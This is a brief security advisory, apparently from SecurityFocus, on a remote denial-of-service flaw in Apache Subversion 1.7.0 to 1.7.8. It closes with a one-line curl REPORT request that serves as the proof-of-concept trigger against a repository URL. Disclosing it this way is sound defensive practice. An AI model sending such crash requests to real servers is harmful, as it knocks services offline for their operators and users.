source: https://www.securityfocus.com/bid/58898/info

Apache Subversion is prone to a remote denial-of-service vulnerability.

Attackers can exploit this issue to crash the application, resulting in denial-of-service conditions.

Apache Subversion versions 1.7.0 through 1.7.8 are vulnerable. 

curl -X REPORT --data-binary @log_report 'http://www.example.com/repo/!svn/bc/1/'